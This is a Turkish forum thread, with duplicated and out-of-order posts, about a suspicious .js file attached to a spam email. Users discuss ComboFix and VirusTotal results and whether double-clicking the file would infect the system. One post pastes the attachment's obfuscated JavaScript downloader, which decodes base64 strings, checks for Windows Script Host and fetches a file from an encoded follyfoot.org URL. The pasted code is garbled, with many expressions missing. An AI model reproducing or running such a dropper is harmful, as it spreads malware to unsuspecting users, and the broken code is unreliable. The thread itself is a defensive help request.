Hep up olsun hemde iki kelam edeyim. Dosyayı incelemedim ki javascript kodunuda detaylı incelemedim. Tarayıcıyı delip geçen birşey olmayabilir. En azından güvenli bildiğimiz modern tarayıcılar olmak üzere diyelim. Hatta bir ara javascript kodunda WShell falan grdüm buda dosyanın masaüstünde çift tık ile çalışabileceğine delalet diyelim. Yani js dosyasını çift tık ile çalıştırmadıysan combofixte birşeyler çıkmaması normal olabilir. Çünkü sistemine bulaşmamış olabilir. Velhasıl kelam. js dosyasını indirip çift tıkladın mı? Sadece bi imza..

follyfoot org menşeili bir dosya indirmeye çalışıyor. Hiç olmassa kodun bir kısmındaki bulunan url bu dosyaya ynlendiriyor. http://bit.ly/1Ny7lD3 adresinde virüs total sonuçları var. Trend micro ve kasper herzamanki gibi uyumaya devam ediyor. Combifix çalıştırdım, birşey çıkmadı. nerin varmıdır? . - @Kaptan ın daha delikanlı olduğunu kanıtlayan şahsiyet ile tanıştım..

var secretariat = 0; castle = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; counting = ; var vistula = ; for ( var i = 128; i--; ) var enjoy = 6/6; String. prototype. livestock = function { commemoration = this; for return commemoration; }; String. prototype. livestock4 = function { var c1, c2, c3, c4; var i, len, out; var str = this. split . join ; len = str. length; i = 0; out = ""; while { / c1 / do while(i < len && c1 -1); if(c1 -1) break; / c2 / do while(i < len && c2 -1); if(c2 -1) break; out += String. fromCharCode((c1 << 2) | ((c2 & 0x30) >> 4)); / c3 / do while(i < len && c3 -1); if(c3 -1) break; out += String. fromCharCode(((c2 & 0XF) << 4) | ((c3 & 0x3C) >> 2)); / c4 / do while(i < len && c4 -1); if(c4 -1) break; out += String. fromCharCode(((c3 & 0x03) << 6) | c4); } return out; } String. prototype. livestock2 = function { var painstaking = ; painstaking. zealand = painstaking. colossus ; return painstaking. zealand; }; var monte = "QWchildrenN0aXZchildrenlWE9iachildrenmVjdA=children=". livestock4 ; var participant ="RXhwYW5childrenkRW52aXchildrenJvbm1lbnRTdHJchildrenpbmdz". livestock4 ; var runaway ="JVchildrenRFTVchildrenAl". livestock4 ; var inserting = ; crispin = "_F2_"; var occupations = this ; IetCwdDNFTS = "EowqFFWJXeU"; charming = + "IhPtktQ"). livestock2 ; christine = + "ivzwab"). livestock2 ; String. prototype. weakling = function ; monte = "b3Blbg ". livestock4 ;; var innovations = inserting. pop . split ; var military = new occupations(innovations ); jReaGehPg = "_F3_"; var alleviate = new occupations(innovations ); fuFozmvCR = "_F4_"; var affair = military (inserting. shift ; MFWAxq = "_F5_"; weasel = + "ieXXojMLWGu"). livestock2 ; function roseate { try { var bracken = affair + "/" + asylum ; bracken = bracken+ inserting. shift ; alleviate + , remoteness, false); VBpQHieTii = "_F7_"; alleviate ; var surpassing=(WScript+"" "V2luZG93cyBTY3JpcHQgSG9zdA ". livestock4 &&alleviate +"" "MjAw". livestock4 &&typeof "undefined"; lQHNgR = "_F8_"; if } catch ; JbqTIM = "_F15_"; } roseate("aHR0cDovLw ". livestock4 +"\u0066\u006F\u006C\u006C\u0079\u0066\u006F\u006F\u0074\u002E"+"\u006F\u0072\u0067\u002F\u0065\u0072\u0067\u0035\u0034\u0067\u0034" + "?oazfPQs=Prkfvr","SpVVEiwXsWt"); kitRQx = "_F16_"; . - @Kaptan ın daha delikanlı olduğunu kanıtlayan şahsiyet ile tanıştım..

follyfoot org menşeili bir dosya indirmeye çalışıyor. Hiç olmassa kodun bir kısmındaki bulunan url bu dosyaya ynlendiriyor. http://bit.ly/1Ny7lD3 adresinde virüs total sonuçları var. Sadece bi imza..

Hep up olsun hemde iki kelam edeyim. Dosyayı incelemedim ki javascript kodunuda detaylı incelemedim. Tarayıcıyı delip geçen birşey olmayabilir. En azından güvenli bildiğimiz modern tarayıcılar olmak üzere diyelim. Hatta bir ara javascript kodunda WShell falan grdüm buda dosyanın masaüstünde çift tık ile çalışabileceğine delalet diyelim. Yani js dosyasını çift tık ile çalıştırmadıysan combofixte birşeyler çıkmaması normal olabilir. Çünkü sistemine bulaşmamış olabilir. Velhasıl kelam. js dosyasını indirip çift tıkladın mı? JS dosyasına 2 kere tıklamadım. yani açma işlemi yapmadım. . - @Kaptan ın daha delikanlı olduğunu kanıtlayan şahsiyet ile tanıştım..

Nerede çalışıyor bu kod? Kendi mail adresime kendi mailim üzerinden gnderilen spam mail ekinde bulunan kod. dosya. js uzantılı. . - @Kaptan ın daha delikanlı olduğunu kanıtlayan şahsiyet ile tanıştım..

Nerede çalışıyor bu kod? Sadece bi imza..